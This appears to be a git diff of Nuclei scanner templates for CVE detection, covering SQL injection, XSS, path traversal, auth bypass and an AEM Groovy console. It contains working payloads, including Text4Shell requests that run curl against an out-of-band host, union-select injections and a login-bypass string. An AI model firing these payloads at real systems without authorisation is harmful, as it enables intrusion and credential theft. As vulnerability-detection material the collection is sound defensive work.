- author: Dheerajmadhukar
- severity: critical
- description: An Adobe Experience Manager Groovy console was discovered. This can possibly lead to remote code execution.
- reference:
- - https://hackerone.com/reports/672243
- - https://twitter.com/XHackerx007/status/1435139576314671105
- tags: aem,adobe
-
-requests:
- - method: GET
- path:
- - "{{BaseURL}}/groovyconsole"
- - "{{BaseURL}}/etc/groovyconsole.html"
- headers:
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- Accept-Language: en-US,en;q=0.9,hi;q=0.8
-
- stop-at-first-match: true
- matchers-condition: and
- matchers:
- - type: word
- words:
- - "
"
- "WBCECMS"
condition: and
-
- type: word
part: header
words:
- text/html
-
- type: status
status:
- 200
-
- extractors:
- - type: regex
- name: formtoken
- group: 1
- regex:
- - ''
- internal: true
- part: body
-# digest: 4b0a004830460221008ffe47614c146f0db8a32472174c85a7f7980fef4712e5c0d368b668aadc27a302210081d7a5d6c9bf2cfdbaeea1f2fbcae70e2e042b3806b7efc4fb7a0ac8217fef54:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/poc/cve/CVE-2022-30489.yaml b/poc/cve/CVE-2022-30489.yaml
index fa2302aea9..26c50ffda2 100644
--- a/poc/cve/CVE-2022-30489.yaml
+++ b/poc/cve/CVE-2022-30489.yaml
@@ -1,24 +1,34 @@
id: CVE-2022-30489
+
info:
- name: Wavlink Wn535g3 - POST XSS
+ name: Wavlink WN-535G3 - Cross-Site Scripting
author: For3stCo1d
severity: medium
description: |
- WAVLINK WN535 G3 was discovered to contain a cross-site scripting (XSS) vulnerability via the hostname parameter at /cgi-bin/login.cgi.
+ Wavlink WN-535G3 contains a POST cross-site scripting vulnerability via the hostname parameter at /cgi-bin/login.cgi.
+ remediation: |
+ Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
reference:
- https://github.com/badboycxcc/XSS-CVE-2022-30489
- - https://nvd.nist.gov/vuln/detail/CVE-2022-30489
- https://github.com/badboycxcc/XSS
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-30489
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-30489
cwe-id: CWE-79
+ epss-score: 0.00101
+ epss-percentile: 0.4119
+ cpe: cpe:2.3:o:wavlink:wn535g3_firmware:-:*:*:*:*:*:*:*
metadata:
+ verified: true
+ max-request: 1
+ vendor: wavlink
+ product: wn535g3_firmware
shodan-query: http.title:"Wi-Fi APP Login"
- verified: "true"
tags: xss,cve2022,wavlink,cve,router,iot
-requests:
+
+http:
- raw:
- |
POST /cgi-bin/login.cgi HTTP/1.1
@@ -26,6 +36,7 @@ requests:
Content-Type: application/x-www-form-urlencoded
newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn
+
matchers-condition: and
matchers:
- type: word
@@ -33,10 +44,13 @@ requests:
- ''
- 'parent.location.replace("http://")'
condition: and
+
- type: word
part: header
words:
- text/html
+
- type: status
status:
- 200
+# digest: 4a0a00473045022100c3998020833570168c8a520e8e3e9cba021783a9b78a1a83f85ba5f17f4725e302204743fb961bd8f4f6903b05bdd279a8be536ddaaacae15f1732e58101d30d715d:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/poc/cve/CVE-2022-30776.yaml b/poc/cve/CVE-2022-30776.yaml
index 13cca2459e..01d041919e 100644
--- a/poc/cve/CVE-2022-30776.yaml
+++ b/poc/cve/CVE-2022-30776.yaml
@@ -1,38 +1,53 @@
id: CVE-2022-30776
+
info:
- name: Atmail - Cross Site Scripting
+ name: Atmail 6.5.0 - Cross-Site Scripting
author: 3th1c_yuk1
severity: medium
description: |
- atmail 6.5.0 allows XSS via the index.php/admin/index/ error parameter.
+ Atmail 6.5.0 contains a cross-site scripting vulnerability via the index.php/admin/index/ 'error' parameter.
+ remediation: |
+ Apply the latest security patches or upgrade to a newer version of Atmail that addresses this vulnerability.
reference:
- https://medium.com/@bhattronit96/cve-2022-30776-cd34f977c2b9
- https://www.atmail.com/
- - https://nvd.nist.gov/vuln/detail/CVE-2022-30776
- https://help.atmail.com/hc/en-us/sections/115003283988
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-30776
+ - https://medium.com/%40bhattronit96/cve-2022-30776-cd34f977c2b9
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-30776
cwe-id: CWE-79
+ epss-score: 0.0013
+ epss-percentile: 0.47644
+ cpe: cpe:2.3:a:atmail:atmail:6.5.0:*:*:*:*:*:*:*
metadata:
+ verified: true
+ max-request: 1
+ vendor: atmail
+ product: atmail
shodan-query: http.html:"atmail"
- verified: "true"
tags: cve,cve2022,atmail,xss
-requests:
+
+http:
- method: GET
path:
- "{{BaseURL}}/atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
+
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Error: 1"
+
- type: word
part: header
words:
- text/html
+
- type: status
status:
- 200
+# digest: 4a0a00473045022100fc7c2a085b98fc4d069ddca8da1e86478eee97e73e987de37a959df1966e2da3022027bf812e355c6f7c909e8f042ca53952bb8247e5ed3f9c0f92af5fc4b2dbb4ff:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/poc/cve/CVE-2022-31268.yaml b/poc/cve/CVE-2022-31268.yaml
index c0bd4de6e0..ada90dc224 100644
--- a/poc/cve/CVE-2022-31268.yaml
+++ b/poc/cve/CVE-2022-31268.yaml
@@ -1,38 +1,27 @@
id: CVE-2022-31268
-
info:
- name: Gitblit 1.9.3 - Local File Inclusion
+ name: Gitblit 1.9.3 - Path traversal
author: 0x_Akoko
severity: high
description: |
- Gitblit 1.9.3 is vulnerable to local file inclusion via /resources//../ (e.g., followed by a WEB-INF or META-INF pathname).
- remediation: |
- Upgrade Gitblit to a version that is not affected by the vulnerability (CVE-2022-31268).
+ A Path Traversal vulnerability in Gitblit 1.9.3 can lead to reading website files via /resources//../ (e.g., followed by a WEB-INF or META-INF pathname).
reference:
- https://github.com/metaStor/Vuls/blob/main/gitblit/gitblit%20V1.9.3%20path%20traversal/gitblit%20V1.9.3%20path%20traversal.md
+ - https://www.cvedetails.com/cve/CVE-2022-31268
- https://vuldb.com/?id.200500
- - https://nvd.nist.gov/vuln/detail/CVE-2022-31268
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-31268
cwe-id: CWE-22
- epss-score: 0.00556
- epss-percentile: 0.75024
- cpe: cpe:2.3:a:gitblit:gitblit:1.9.3:*:*:*:*:*:*:*
metadata:
- verified: true
- max-request: 1
- vendor: gitblit
- product: gitblit
shodan-query: http.html:"Gitblit"
+ verified: "true"
tags: cve,cve2022,lfi,gitblit
-
-http:
+requests:
- method: GET
path:
- "{{BaseURL}}/resources//../WEB-INF/web.xml"
-
matchers-condition: and
matchers:
- type: word
@@ -42,13 +31,10 @@ http:
- "java.sun.com"
- "gitblit.properties"
condition: and
-
- type: word
part: header
words:
- "application/xml"
-
- type: status
status:
- 200
-# digest: 4a0a00473045022100d00ac7529ccee10be913e32c85fc61026cb7d87dbd377e784b6d0135a97efe48022069ea0e69a24c2dd5857d1911e37d5a1a4906fc3540d07d368d717fa44d28e24b:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/poc/cve/CVE-2022-32007.yaml b/poc/cve/CVE-2022-32007.yaml
index cc29bbd8fc..b79eea8b8a 100644
--- a/poc/cve/CVE-2022-32007.yaml
+++ b/poc/cve/CVE-2022-32007.yaml
@@ -1,10 +1,13 @@
id: CVE-2022-32007
+
info:
- name: Complete Online Job Search System v1.0 - SQL Injection
+ name: Complete Online Job Search System 1.0 - SQL Injection
author: arafatansari
severity: high
description: |
- Complete Online Job Search System v1.0 is vulnerable to SQL Injection via /eris/admin/company/index.php?view=edit&id=.
+ Complete Online Job Search System 1.0 contains a SQL injection vulnerability via /eris/admin/company/index.php?view=edit&id=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
+ remediation: |
+ Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Complete Online Job Search System 1.0.
reference:
- https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-2.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-32007
@@ -13,12 +16,19 @@ info:
cvss-score: 7.2
cve-id: CVE-2022-32007
cwe-id: CWE-89
+ epss-score: 0.00666
+ epss-percentile: 0.77425
+ cpe: cpe:2.3:a:complete_online_job_search_system_project:complete_online_job_search_system:1.0:*:*:*:*:*:*:*
metadata:
- verified: "true"
+ verified: true
+ max-request: 2
+ vendor: complete_online_job_search_system_project
+ product: complete_online_job_search_system
tags: cve,cve2022,sqli,eris,authenticated
variables:
num: "999999999"
-requests:
+
+http:
- raw:
- |
POST /admin/login.php HTTP/1.1
@@ -29,9 +39,10 @@ requests:
- |
GET /admin/company/index.php?view=edit&id=-3%27%20union%20select%201,md5({{num}}),3,4,5,6--+ HTTP/1.1
Host: {{Hostname}}
- cookie-reuse: true
+
matchers:
- type: word
part: body
words:
- '{{md5({{num}})}}'
+# digest: 4a0a0047304502204e81c3b94f8a7af4a67f3516242889aa363d3d1169c07aa2e615789d052c5d9202210083e8c7c37c641f47168fbb758803368887fe29a24a2b23c2401c8364d6244b16:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/poc/cve/CVE-2022-32018.yaml b/poc/cve/CVE-2022-32018.yaml
index 1fa8cbf9bc..d3b12d52f3 100644
--- a/poc/cve/CVE-2022-32018.yaml
+++ b/poc/cve/CVE-2022-32018.yaml
@@ -1,10 +1,13 @@
id: CVE-2022-32018
+
info:
- name: Complete Online Job Search System v1.0 - SQL Injection
+ name: Complete Online Job Search System 1.0 - SQL Injection
author: arafatansari
severity: high
description: |
- Complete Online Job Search System v1.0 is vulnerable to SQL Injection via /eris/index.php?q=hiring&search=.
+ Complete Online Job Search System 1.0 contains a SQL injection vulnerability via /eris/index.php?q=hiring&search=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
+ remediation: |
+ Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Complete Online Job Search System 1.0.
reference:
- https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-12.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-32018
@@ -13,17 +16,26 @@ info:
cvss-score: 7.2
cve-id: CVE-2022-32018
cwe-id: CWE-89
+ epss-score: 0.00666
+ epss-percentile: 0.77425
+ cpe: cpe:2.3:a:complete_online_job_search_system_project:complete_online_job_search_system:1.0:*:*:*:*:*:*:*
metadata:
- verified: "true"
+ verified: true
+ max-request: 1
+ vendor: complete_online_job_search_system_project
+ product: complete_online_job_search_system
tags: cve,cve2022,sqli
variables:
num: "999999999"
-requests:
+
+http:
- method: GET
path:
- "{{BaseURL}}/index.php?q=hiring&search=URC%27%20union%20select%201,2,3,4,5,6,7,8,9,md5({{num}}),11,12,13,14,15,16,17,18,19--+"
+
matchers:
- type: word
part: body
words:
- '{{md5({{num}})}}'
+# digest: 4a0a00473045022100da12b4d998c8fa697043c9bf1ff6f2790813c275472fbb070343f3da63ce9fd902201dedaa1e52f230036ab54a6befc621bc842c9c78b878209be2223eb92e68c879:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/poc/cve/CVE-2022-32022.yaml b/poc/cve/CVE-2022-32022.yaml
index 6face31438..491f06d0fb 100644
--- a/poc/cve/CVE-2022-32022.yaml
+++ b/poc/cve/CVE-2022-32022.yaml
@@ -1,10 +1,13 @@
id: CVE-2022-32022
+
info:
- name: Car Rental Management System v1.0 - SQL Injection
+ name: Car Rental Management System 1.0 - SQL Injection
author: arafatansari
severity: high
description: |
- Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/ajax.php?action=login.
+ Car Rental Management System 1.0 contains an SQL injection vulnerability via /admin/ajax.php?action=login. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
+ remediation: |
+ Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-1.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-32022
@@ -14,11 +17,18 @@ info:
cvss-score: 7.2
cve-id: CVE-2022-32022
cwe-id: CWE-89
+ epss-score: 0.00833
+ epss-percentile: 0.80077
+ cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:*
metadata:
+ verified: true
+ max-request: 2
+ vendor: car_rental_management_system_project
+ product: car_rental_management_system
shodan-query: http.html:"Car Rental Management System"
- verified: "true"
tags: cve,cve2022,carrental,cms,sqli,login-bypass
-requests:
+
+http:
- raw:
- |
POST /admin/ajax.php?action=login HTTP/1.1
@@ -29,7 +39,7 @@ requests:
- |
GET /admin/index.php?page=home HTTP/1.1
Host: {{Hostname}}
- cookie-reuse: true
+
matchers-condition: and
matchers:
- type: word
@@ -39,6 +49,8 @@ requests:
- 'action=logout'
- 'Manage Account'
condition: and
+
- type: status
status:
- 200
+# digest: 4a0a00473045022100a96d1b88100fddc27406f907a7e00be2a9e0ab450437af95f0744d919775e1f1022045128b78637c3b60cc0db17ec30af90d502d8fa945436343edf0277a37828a32:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/poc/cve/CVE-2022-32024.yaml b/poc/cve/CVE-2022-32024.yaml
index 644f0f8df2..e57317496e 100644
--- a/poc/cve/CVE-2022-32024.yaml
+++ b/poc/cve/CVE-2022-32024.yaml
@@ -1,10 +1,13 @@
id: CVE-2022-32024
+
info:
- name: Car Rental Management System v1.0 - SQL Injection
+ name: Car Rental Management System 1.0 - SQL Injection
author: arafatansari
severity: high
description: |
- Car Rental Management System v1.0 is vulnerable to SQL Injection via /booking.php?car_id=.
+ Car Rental Management System 1.0 contains an SQL injection vulnerability via /booking.php?car_id=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
+ remediation: |
+ Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Car Rental Management System 1.0.
reference:
- https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-4.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-32024
@@ -13,14 +16,21 @@ info:
cvss-score: 7.2
cve-id: CVE-2022-32024
cwe-id: CWE-89
+ epss-score: 0.00666
+ epss-percentile: 0.77425
+ cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:*
metadata:
- comment: Login bypass is also possible using the payload- admin'+or+'1'%3D'1' in username.
+ verified: true
+ max-request: 2
+ vendor: car_rental_management_system_project
+ product: car_rental_management_system
shodan-query: http.html:"Car Rental Management System"
- verified: "true"
+ comment: Login bypass is also possible using the payload- admin'+or+'1'%3D'1' in username.
tags: cve,cve2022,carrental,cms,sqli,authenticated
variables:
num: "999999999"
-requests:
+
+http:
- raw:
- |
POST /admin/ajax.php?action=login HTTP/1.1
@@ -31,14 +41,17 @@ requests:
- |
GET /booking.php?car_id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1
Host: {{Hostname}}
+
skip-variables-check: true
- cookie-reuse: true
+
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5({{num}})}}'
+
- type: status
status:
- 200
+# digest: 4a0a0047304502210084799e173f5f655923dc251680a2ec247895af654bcf248260848c917d404f8d022004617bf463ee20fe40d700c2eae5ff639ff1ae3f6473a5e7f3328045be309105:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/poc/cve/CVE-2022-33119.yaml b/poc/cve/CVE-2022-33119.yaml
index 223c8ed044..d0b19c4e99 100644
--- a/poc/cve/CVE-2022-33119.yaml
+++ b/poc/cve/CVE-2022-33119.yaml
@@ -1,10 +1,13 @@
id: CVE-2022-33119
+
info:
- name: NVRsolo v03.06.02 - Cross-Site Scripting
+ name: NUUO NVRsolo Video Recorder 03.06.02 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
- NUUO Network Video Recorder NVRsolo v03.06.02 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via login.php.
+ NUUO NVRsolo Video Recorder 03.06.02 contains a reflected cross-site scripting vulnerability via login.php.
+ remediation: |
+ Apply the latest security patch or upgrade to a non-vulnerable version of the NUUO NVRsolo Video Recorder software.
reference:
- https://github.com/badboycxcc/nuuo-xss/blob/main/README.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-33119
@@ -13,11 +16,18 @@ info:
cvss-score: 6.1
cve-id: CVE-2022-33119
cwe-id: CWE-79
+ epss-score: 0.012
+ epss-percentile: 0.83584
+ cpe: cpe:2.3:o:nuuo:nvrsolo_firmware:03.06.02:*:*:*:*:*:*:*
metadata:
+ verified: true
+ max-request: 1
+ vendor: nuuo
+ product: nvrsolo_firmware
shodan-query: http.html:"NVRsolo"
- verified: "true"
tags: cve,cve2022,nvrsolo,xss
-requests:
+
+http:
- raw:
- |
POST /login.php HTTP/1.1
@@ -26,10 +36,12 @@ requests:
Referer: "><"
language=en&user=user&pass=pass&submit=Login
+
matchers:
- type: dsl
dsl:
- - 'contains(all_headers, "text/html")'
+ - 'contains(header, "text/html")'
- 'status_code == 200'
- contains(body,'<\"?cmd=')
condition: and
+# digest: 490a00463044022055db44d33899d503ee6b8626525ec80f6f661c9e201e4b7f07e31700d0b2d09c02202725713186cb86ccc2ab145817d43f3c76880a377db2cc2b1c36ccbc048962fc:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/poc/cve/CVE-2022-33174.yaml b/poc/cve/CVE-2022-33174.yaml
index 65b066d61c..26dd8298df 100644
--- a/poc/cve/CVE-2022-33174.yaml
+++ b/poc/cve/CVE-2022-33174.yaml
@@ -1,13 +1,10 @@
id: CVE-2022-33174
-
info:
- name: Powertek Firmware <3.30.30 - Authorization Bypass
+ name: Powertek Firmware - Authorization Bypass
author: pikpikcu
severity: high
description: |
- Powertek firmware (multiple brands) before 3.30.30 running Power Distribution Units are vulnerable to authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface (/cgi/get_param.cgi) with the tmpToken cookie set to an empty string followed by a semicolon. This bypasses an active session authorization check. This can be then used to fetch the values of protected sys.passwd and sys.su.name fields that contain the username and password in cleartext.
- remediation: |
- Upgrade the Powertek Firmware to version 3.30.30 or higher to mitigate the vulnerability.
+ Power Distribution Units running on Powertek firmware (multiple brands) before 3.30.30 allows remote authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface (/cgi/get_param.cgi) with the tmpToken cookie set to an empty string followed by a semicolon. This bypasses an active session authorization check. This can be then used to fetch the values of protected sys.passwd and sys.su.name fields that contain the username and password in cleartext.
reference:
- https://gynvael.coldwind.pl/?lang=en&id=748
- https://nvd.nist.gov/vuln/detail/CVE-2022-33174
@@ -16,40 +13,29 @@ info:
cvss-score: 7.5
cve-id: CVE-2022-33174
cwe-id: CWE-863
- epss-score: 0.00597
- epss-percentile: 0.75966
- cpe: cpe:2.3:o:powertekpdus:basic_pdu_firmware:*:*:*:*:*:*:*:*
metadata:
- verified: true
- max-request: 1
- vendor: powertekpdus
- product: basic_pdu_firmware
shodan-query: http.html:"Powertek"
+ verified: "true"
tags: cve,cve2022,powertek,auth-bypass
-
-http:
+requests:
- raw:
- |
GET /cgi/get_param.cgi?xml&sys.passwd&sys.su.name HTTP/1.1
Host: {{Hostname}}
Cookie: tmpToken=;
-
matchers-condition: and
matchers:
- type: word
words:
- ' Interactsh Server
+
+ - type: status
+ status:
+ - 200
+# digest: 4a0a00473045022100e598e38759b6d2c7b34ecb326730371101115feee22f2e9a4e8ecf3fdb09f45902204532d257a96dbe274009bfc99b23ace1c08d5824445578aed77faf1654dc813e:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/poc/cve/CVE-2022-42889.yaml b/poc/cve/CVE-2022-42889.yaml
index 6531b1138f..2140b90298 100644
--- a/poc/cve/CVE-2022-42889.yaml
+++ b/poc/cve/CVE-2022-42889.yaml
@@ -1,65 +1,22 @@
id: CVE-2022-42889
info:
- name: Text4Shell - Remote Code Execution
- author: princechaddha
+ name: CVE-2022-42889
+ author: Mrhacker404
severity: critical
- description: |
- Apache Commons Text performs variable interpolation, allowing properties to be dynamically evaluated and expanded. The standard format for interpolation is "${prefix:name}", where "prefix" is used to locate an instance of org.apache.commons.text.lookup.StringLookup that performs the interpolation. Starting with version 1.5 and continuing through 1.9, the set of default Lookup instances included interpolators that could result in arbitrary code execution or contact with remote servers. These lookups are: - "script" - execute expressions using the JVM script execution engine (javax.script) - "dns" - resolve dns records - "url" - load values from urls, including from remote servers Applications using the interpolation defaults in the affected versions may be vulnerable to remote code execution or unintentional contact with remote servers if untrusted configuration values are used. Users are recommended to upgrade to Apache Commons Text 1.10.0, which disables the problematic interpolators by default.
- reference:
- - https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om
- - http://www.openwall.com/lists/oss-security/2022/10/13/4
- - http://www.openwall.com/lists/oss-security/2022/10/18/1
- - https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
- - https://github.com/silentsignal/burp-text4shell
- remediation: Upgrade to Apache Commons Text component between 1.5.0 to 1.10.0.
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 9.8
- cve-id: CVE-2022-42889
- cwe-id: CWE-94
- metadata:
- confidence: tenative
- tags: cve,cve2022,rce,oast,text4shell,dast
+ description: Blind-rce
requests:
- - method: GET
- path:
- - "{{BaseURL}}"
-
- payloads:
- text4shell:
- - "${url:UTF-8:https://{{Hostname}}.q.{{interactsh-url}}}"
-
- fuzzing:
- - part: query
- fuzz:
- - "{{text4shell}}"
-
- matchers-condition: and
- matchers:
- - type: word
- part: interactsh_protocol # Confirms the DNS Interaction
- words:
- - "dns"
-
- - type: regex
- part: interactsh_request
- regex:
- - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
-
- extractors:
- - type: kval
- kval:
- - interactsh_ip # Print remote interaction IP in output
-
- - type: regex
- part: interactsh_request
- group: 2
- regex:
- - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
-
- - type: regex
- part: interactsh_request
- group: 1
- regex:
+ - method: GET
+ path:
+ - "{{BaseURL}}/text4shell/attack?search=%24%7bscript:javascript:java.lang.Runtime.getRuntime().exec('curl+{{interactsh-url}}')%7d"
+ - "{{BaseURL}}/attack?search=%24%7bscript:javascript:java.lang.Runtime.getRuntime().exec('curl+{{interactsh-url}}')%7d"
+ - "{{BaseURL}}/?search=%24%7bscript:javascript:java.lang.Runtime.getRuntime().exec('curl+{{interactsh-url}}')%7d"
+ - "{{BaseURL}}/text4shell/attack?s=%24%7bscript:javascript:java.lang.Runtime.getRuntime().exec('curl+{{interactsh-url}}')%7d"
+ - "{{BaseURL}}/attack?s=%24%7bscript:javascript:java.lang.Runtime.getRuntime().exec('curl+{{interactsh-url}}')%7d"
+ - "{{BaseURL}}/?s=%24%7bscript:javascript:java.lang.Runtime.getRuntime().exec('curl+{{interactsh-url}}')%7d"
+ matchers:
+ - type: word
+ part: interactsh_protocol # Confirms the DNS Interaction
+ words:
+ - "dns"
diff --git a/poc/cve/CVE-2022-43185.yaml b/poc/cve/CVE-2022-43185.yaml
new file mode 100644
index 0000000000..b54ba825a1
--- /dev/null
+++ b/poc/cve/CVE-2022-43185.yaml
@@ -0,0 +1,66 @@
+id: CVE-2022-43185
+
+info:
+ name: Rukovoditel <= 3.2.1 - Cross-Site Scripting
+ author: r3Y3r53
+ severity: medium
+ description: |
+ A stored cross-site scripting (XSS) vulnerability in the Global Lists feature (/index.php?module=global_lists/lists) of Rukovoditel v3.2.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter after clicking "Add".
+ remediation: |
+ Upgrade Rukovoditel to a version higher than 3.2.1 or apply the vendor-provided patch to mitigate the XSS vulnerability.
+ reference:
+ - https://github.com/anhdq201/rukovoditel/issues/1
+ - http://rukovoditel.com/
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-43185
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+ cvss-score: 5.4
+ cve-id: CVE-2022-43185
+ cwe-id: CWE-79
+ epss-score: 0.34373
+ epss-percentile: 0.96682
+ cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
+ metadata:
+ verified: true
+ max-request: 3
+ vendor: rukovoditel
+ product: rukovoditel
+ tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated
+
+http:
+ - raw:
+ - |
+ GET /index.php?module=users/login HTTP/1.1
+ Host: {{Hostname}}
+ - |
+ POST /index.php?module=users/login&action=login HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ form_session_token={{nonce}}&username={{username}}&password={{password}}
+ - |
+ POST /index.php?module=holidays/holidays&action=save&token={{nonce}} HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ form_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_date=2023-05-22&end_date=2023-05-31
+
+ redirects: true
+ max-redirects: 2
+ matchers:
+ - type: dsl
+ dsl:
+ - 'status_code_3 == 200'
+ - 'contains(content_type_3, "text/html")'
+ - 'contains(body_3, "")'
+ - 'contains(body_3, "rukovoditel")'
+ condition: and
+
+ extractors:
+ - type: regex
+ name: nonce
+ group: 1
+ regex:
+ - 'id="form_session_token" value="(.*)" type="hidden"'
+ internal: true
+# digest: 4a0a00473045022100b27d125f405b692ffbd2baa49bf4da10d90267cb464f73ce5f53159bc18a332102205e8f62906a36299acb494b3f52a82b58d6dec6b427edd0bc947bc66fc734ae4d:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/poc/cve/CVE-2023-0678.yaml b/poc/cve/CVE-2023-0678.yaml
new file mode 100644
index 0000000000..492f3fd699
--- /dev/null
+++ b/poc/cve/CVE-2023-0678.yaml
@@ -0,0 +1,34 @@
+id: CVE-2023-0678
+
+info:
+ name: PHPIPAM '
+
+ - type: word
+ part: header
+ words:
+ - 'text/html'
+
+ - type: status
+ status:
+ - 200
+# digest: 4a0a0047304502205f1118f5b096c23448a4c78133006d90c3c3e3ce1fb95226c9df8cdbf525b0fd02210087b66f73f19f511d0743a27382dcd3d9a5756ea0617b43c3fe197fe32be42327:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/poc/cve/CVE-2023-45855.yaml b/poc/cve/CVE-2023-45855.yaml
new file mode 100644
index 0000000000..60276771a7
--- /dev/null
+++ b/poc/cve/CVE-2023-45855.yaml
@@ -0,0 +1,47 @@
+id: CVE-2023-45855
+
+info:
+ name: qdPM 9.2 - Directory Traversal
+ author: DhiyaneshDk
+ severity: high
+ description: |
+ qdPM 9.2 allows Directory Traversal to list files and directories by navigating to the /uploads URI.
+ impact: |
+ Successful exploitation could allow an attacker to read sensitive files on the server.
+ remediation: |
+ Upgrade qdPM to a non-vulnerable version to mitigate the directory traversal vulnerability.
+ reference:
+ - https://github.com/SunshineOtaku/Report-CVE/blob/main/qdPM/9.2/Directory%20Traversal.md
+ - https://nvd.nist.gov/vuln/detail/CVE-2023-45855
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+ cvss-score: 7.5
+ cve-id: CVE-2023-45855
+ cwe-id: CWE-22
+ epss-score: 0.00087
+ epss-percentile: 0.35946
+ cpe: cpe:2.3:a:qdpm:qdpm:9.2:*:*:*:*:*:*:*
+ metadata:
+ vendor: qdpm
+ product: qdpm
+ shodan-query: http.favicon.hash:762074255
+ tags: cve,cve2023,qdpm,lfi
+
+http:
+ - method: GET
+ path:
+ - "{{BaseURL}}/uploads/"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - "Index of /uploads"
+ - "attachments/"
+ condition: and
+
+ - type: status
+ status:
+ - 200
+# digest: 4b0a00483046022100cbd700fb07947d7ab0657ac97cf57a41ceb390ba95b91f5ebd3eb5dc4ed2246b02210086b07d8dd2293a1fc75a3d80d0c9dcf34ddff95b979e4eccefddd9d1fc606ee3:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/poc/cve/CVE-2023-46359.yaml b/poc/cve/CVE-2023-46359.yaml
new file mode 100644
index 0000000000..7aeae95268
--- /dev/null
+++ b/poc/cve/CVE-2023-46359.yaml
@@ -0,0 +1,40 @@
+id: CVE-2023-46359
+
+info:
+ name: cPH2 Charging Station v1.87.0 - OS Command Injection
+ author: mlec
+ severity: critical
+ description: |
